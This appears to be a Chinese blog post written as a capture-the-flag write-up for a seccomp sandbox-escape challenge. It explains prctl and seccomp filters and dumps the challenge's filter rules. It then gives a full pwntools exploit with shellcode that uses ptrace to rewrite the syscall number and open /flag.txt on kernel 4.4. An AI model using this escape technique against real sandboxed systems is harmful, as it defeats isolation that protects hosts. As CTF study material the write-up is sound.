seccomp escape

作者: Nevv | 来源:发表于2020-06-08 11:16 被阅读0次

    seccomp escape

    题目描述
    flag in /flag.txt
    
    ubuntu16.04 kernel 4.4.0-91-generic
    
    题目分析
    • 安全防护
    [*] '/home/nevv/Desktop/pwn1'
        Arch:     amd64-64-little
        RELRO:    Partial RELRO
        Stack:    Canary found
        NX:       NX enabled
        PIE:      No PIE (0x400000)
    

    之前没接触过这类题目,因此先大概了解下相关基础知识:

    seccomp 是 secure computing 的缩写,其是 Linux kernel 从2.6.23版本引入的一种简洁的 sandboxing 机制。在 Linux 系统里,大量的系统调用(system call)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。seccomp安全机制能使一个进程进入到一种“安全”运行模式,该模式下的进程只能调用4种系统调用(system call),即 read(), write(), exit() 和 sigreturn(),否则进程便会被终止。

    prctl 函数

    先来看下函数的原型:

    #include <sys/prctl.h> 
    int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5); 
    

    这里有5个参数,重点看option就知道它是想干嘛,这里主要关注2点:

    PR_SET_NO_NEW_PRIVS(38)
    
    PR_SET_SECCOMP(22)
    

    我们通俗易懂地理解就是,prctl(38, 1LL, 0LL, 0LL, 0LL)表示禁用系统调用,也就是system和onegadget都没了,还会教子进程也这么干;而prctl(22,2)表示设置沙箱规则,从而可以实现改变函数的系统调用(通行或者禁止),这次重点研究沙箱规则,设置 seccomp ,其实也就是设置沙箱规则,这个 option 有两个子参数

    1、SECCOMP_MODE*STRICT(1):允许线程进行的唯一系统调用是read(2),write(2),*exit(2)(但不是exit_group(2))和sigreturn(2)。
    
    2、SECCOMP_MODE_FILTER(2) (since Linux 3.5):允许的系统调用由指向arg3中传递的Berkeley Packet Filter的指针定义。 这个参数是一个指向struct sock_fprog的指针; 它可以设计为过滤任意系统调用和系统调用参数
    

    源码:

    struct sock_filter { 
      /* Filter block */ __u16 code; 
      /* Actual filter code */ __u8 jt; 
      /* Jump true */ __u8 jf; 
      /* Jump false */ __u32 k; 
      /* Generic multiuse field */ 
    }; 
    struct sock_fprog { 
      /* Required for SO_ATTACH_FILTER. */ unsigned short len; 
      /* Number of filter blocks */ 
      struct sock_filter *filter; };
    
    seccomp-tools
    sudo gem install seccomp-tools
    nevv@ubuntu:~/Desktop/seccomp-tools-master/bin$ ./seccomp-tools dump ../../pwn1
     line  CODE  JT   JF      K
    =================================
     0000: 0x20 0x00 0x00 0x00000004  A = arch
     0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 // line11
     0002: 0x20 0x00 0x00 0x00000000  A = sys_number
     0003: 0x35 0x07 0x00 0x40000000  if (A >= 0x40000000) goto 0011
     0004: 0x15 0x06 0x00 0x00000002  if (A == open) goto 0011
     0005: 0x15 0x05 0x00 0x00000101  if (A == openat) goto 0011
     0006: 0x15 0x04 0x00 0x00000055  if (A == creat) goto 0011
     0007: 0x15 0x03 0x00 0x0000009d  if (A == prctl) goto 0011
     0008: 0x15 0x02 0x00 0x0000003b  if (A == execve) goto 0011
     0009: 0x15 0x01 0x00 0x00000142  if (A == execveat) goto 0011
     0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW
     0011: 0x06 0x00 0x00 0x00051234  return ERRNO(4660)
    
    

    没有禁用ptrace

    漏洞分析

    程序执行流程为:

    • 调用prctl设置规则
    • mmap开辟空间
    • 写入4096字节数据,并从起始位置开始执行
    __int64 __fastcall main(__int64 a1, char **a2, char **a3)
    {
      int v3; // eax
      int v4; // esi
      char *v5; // rsi
      signed __int64 v6; // rdi
      unsigned int i; // [rsp+Ch] [rbp-A4h]
      signed int v9; // [rsp+10h] [rbp-A0h]
      signed int v10; // [rsp+14h] [rbp-9Ch]
      int v11; // [rsp+1Ch] [rbp-94h]
      char *v12; // [rsp+20h] [rbp-90h]
      __int16 v13; // [rsp+30h] [rbp-80h]
      __int16 *v14; // [rsp+38h] [rbp-78h]
      __int16 v15; // [rsp+40h] [rbp-70h]
      char v16; // [rsp+42h] [rbp-6Eh]
      char v17; // [rsp+43h] [rbp-6Dh]
      int v18; // [rsp+44h] [rbp-6Ch]
      __int16 v19; // [rsp+48h] [rbp-68h]
      char v20; // [rsp+4Ah] [rbp-66h]
      char v21; // [rsp+4Bh] [rbp-65h]
      int v22; // [rsp+4Ch] [rbp-64h]
      __int16 v23; // [rsp+50h] [rbp-60h]
      char v24; // [rsp+52h] [rbp-5Eh]
      char v25; // [rsp+53h] [rbp-5Dh]
      int v26; // [rsp+54h] [rbp-5Ch]
      __int16 v27; // [rsp+58h] [rbp-58h]
      char v28; // [rsp+5Ah] [rbp-56h]
      char v29; // [rsp+5Bh] [rbp-55h]
      int v30; // [rsp+5Ch] [rbp-54h]
      __int16 v31; // [rsp+90h] [rbp-20h]
      char v32; // [rsp+92h] [rbp-1Eh]
      char v33; // [rsp+93h] [rbp-1Dh]
      int v34; // [rsp+94h] [rbp-1Ch]
      __int16 v35; // [rsp+98h] [rbp-18h]
      char v36; // [rsp+9Ah] [rbp-16h]
      char v37; // [rsp+9Bh] [rbp-15h]
      int v38; // [rsp+9Ch] [rbp-14h]
      unsigned __int64 v39; // [rsp+A8h] [rbp-8h]
    
      v39 = __readfsqword(0x28u);
      setbuf(stdout, 0LL);
      setbuf(stderr, 0LL);
      if ( prctl(38, 1LL, 0LL, 0LL, 0LL) )
        __assert_fail("prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == 0", "seccomp_ptrace_escape.c", 0x1Fu, "main");
      v15 = 32;
      v16 = 0;
      v17 = 0;
      v18 = 4;
      v19 = 21;
      v20 = 0;
      v21 = 9;
      v22 = -1073741762;
      v23 = 32;
      v24 = 0;
      v25 = 0;
      v26 = 0;
      v27 = 53;
      v28 = 7;
      v29 = 0;
      v30 = 0x40000000;
      for ( i = 0; i <= 5; ++i )
      {
        v3 = i + 4;
        v4 = qword_601080[i];
        *(&v15 + 4 * (signed int)(i + 4)) = 21;
        *(&v16 + 8 * v3) = 6 - i;
        *(&v17 + 8 * v3) = 0;
        *(&v18 + 2 * (signed int)(i + 4)) = v4;
      }
      v31 = 6;
      v32 = 0;
      v33 = 0;
      v34 = 2147418112;
      v35 = 6;
      v36 = 0;
      v37 = 0;
      v38 = 332340;
      v13 = 12;
      v14 = &v15;
      if ( prctl(22, 2LL, &v13, 0LL, 0LL) )
        __assert_fail(
          "prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &fprog, 0, 0) == 0",
          "seccomp_ptrace_escape.c",
          0x39u,
          "main");
      v5 = (char *)4096;
      v6 = 1191936LL;
      v12 = (char *)mmap((void *)0x123000, 0x1000uLL, 7, 34, -1, 0LL);
      if ( v12 == (char *)-1LL )
      {
        puts("mmap failed");
        exit(0);
      }
      v9 = 0;
      v10 = 4096;
      while ( v9 <= 4095 )
      {
        v5 = &v12[v9];
        v6 = 0LL;
        v11 = read(0, v5, v10);
        if ( v11 <= 0 )
          exit(0);
        v9 += v11;
        v10 -= v11;
      }
      ((void (__fastcall *)(signed __int64, char *))v12)(v6, v5);
      return 0LL;
    }
    
    • 使用ptrace修改ori_rax
    struct user_regs_struct regs;
    ptrace(PTRACE_GETREGS, pid, NULL, &regs);
    if (regs.orig_rax == SYS_getpid) {
        regs.orig_rax = regs.rdi;
        regs.rdi = regs.rsi;
        regs.rsi = regs.rdx;
        regs.rdx = regs.r10;
        regs.r10 = regs.r8;
        regs.r8 = regs.r9;
        regs.r9 = 0;
        ptrace(PTRACE_SETREGS, pid, NULL, &regs);
    }
    
    user_regs_struct结构
    struct user_regs_struct
    {
      unsigned long r15;
      unsigned long r14;
      unsigned long r13;
      unsigned long r12;
      unsigned long rbp;
      unsigned long rbx;
      unsigned long r11;
      unsigned long r10;
      unsigned long r9;
      unsigned long r8;
      unsigned long rax;
      unsigned long rcx;
      unsigned long rdx;
      unsigned long rsi;
      unsigned long rdi;
      unsigned long orig_rax;
      unsigned long rip;
      unsigned long cs;
      unsigned long eflags;
      unsigned long rsp;
      unsigned long ss;
      unsigned long fs_base;
      unsigned long gs_base;
      unsigned long ds;
      unsigned long es;
      unsigned long fs;
      unsigned long gs;
    };
    
    exp
    #coding:utf-8
    #!/usr/bin/env python
    
    from pwn import *
    import pwnlib.shellcraft as sc
    context(os='linux', arch='amd64', log_level='debug')
    
    p = process('./pwn1')
    # p = remote("118.89.247.212",8383)
    clone = asm(sc.syscall('SYS_fork')) + asm('test rax, rax')
    
    # clone = asm('''
    # /* clone and branch */
    # mov rdi, 0x4007C6
    # mov rsi, 0
    # mov rdx, 0
    # mov r10, rsp
    # add r10, 0x500
    # mov qword ptr [r10], 0
    # mov rax, 56
    
    # syscall
    # test rax, rax
    # ''')
    
    
    debugger = asm('''
    /* time delay */
    mov rdx, 0x30000000
    dec rdx
    test rdx, rdx
    jnz $ - 6
    push rax
    
    /* waitpid(childpid, NULL, 0) */
    mov rdi, rax
    mov rsi, 0
    mov rdx, 0
    mov r10, 0
    mov rax, 0x3d
    syscall
    
    /* ptrace(PTRACE_SYSCALL, childpid, NULL, NULL) */
    mov rdi, 0x18
    mov rsi, [rsp]
    mov rdx, 0
    mov r10, 0
    mov rax, 0x65
    syscall
    
    /* waitpid(childpid, NULL, 0) */
    mov rdi, [rsp]
    mov rsi, 0
    mov rdx, 0
    mov r10, 0
    mov rax, 0x3d
    syscall
    
    /* ptrace(PTRACE_GETREGS, childpid, NULL, &regs */
    mov rdi, 0xc
    mov rsi, [rsp]
    mov rdx, 0x0
    mov r10, rsp
    add r10, 0x400
    mov rcx, r10
    /* mov rcx, 0x123200 */
    mov rax, 0x65
    syscall
    
    /* ptrace(PTRACE_SETREGS, childpid, NULL, &regs) */
    mov rdi, 0xd
    mov rsi, [rsp]
    mov rdx, 0
    mov r10, rsp
    add r10, 0x400
    mov r9, r10
    add r9, 0x78
    /*
    mov r10, 0x123200
    mov r9, r10
    add r9, 0x78
    */
    mov qword ptr [r9], 2
    mov rax, 0x65
    syscall
    
    /* ptrace(PTRACE_DETACH, childpid, NULL, NULL) */
    mov rdi, 0x11
    mov rsi, [rsp]
    mov rdx, 0
    mov r10, 0
    mov rax, 101
    syscall
    
    mov rax, 0x3c
    syscall
    ''')
    
    debuggee = asm('''
    /* ptrace(PTRACE_TRACEME, 0, NULL, NULL) */
    mov rdi, 0
    mov rsi, 0
    mov rdx, 0
    mov r10, 0
    mov rax, 101
    syscall
    
    /* syscall(SYS_gettid) */
    mov rax, 0x27/*0xba*/
    syscall
    
    /* syscall(SYS_tkill, pid, SIGSTOP) */
    mov rdi, rax
    mov rsi, 0x13
    mov rax, 0x3e/*0xc8*/
    syscall
    ''' + shellcraft.pushstr('./flag.txt') + '''
    /* open(file='rsp', oflag=0, mode=0) */
    mov rdi, rsp
    xor edx, edx /* 0 */
    xor esi, esi /* 0 */
    /* call open() */
    xor rax, rax
    mov rax, 39/*getpid*/
    syscall
    '''
     +
    shellcraft.read('rax', 'rsp', 100) + shellcraft.write(1, 'rsp', 100))
        
    stage3  = ""    
    stage3 += clone
    stage3 += asm('jz $+{}'.format(len(debugger)+6))
    stage3 += debugger
    stage3 += debuggee
    # gdb.attach(p)
    p.sendline(stage3+"\x00"*(4096-len(stage3)))
    # p.recv()
    p.interactive()
    

    注意这里在内核版本4.8之后修复了这个问题,因此调试的时候需要切换到4.4版本进行调试

    相关文章

      网友评论

        本文标题:seccomp escape

        本文链接:https://www.haomeiwen.com/subject/mbrltktx.html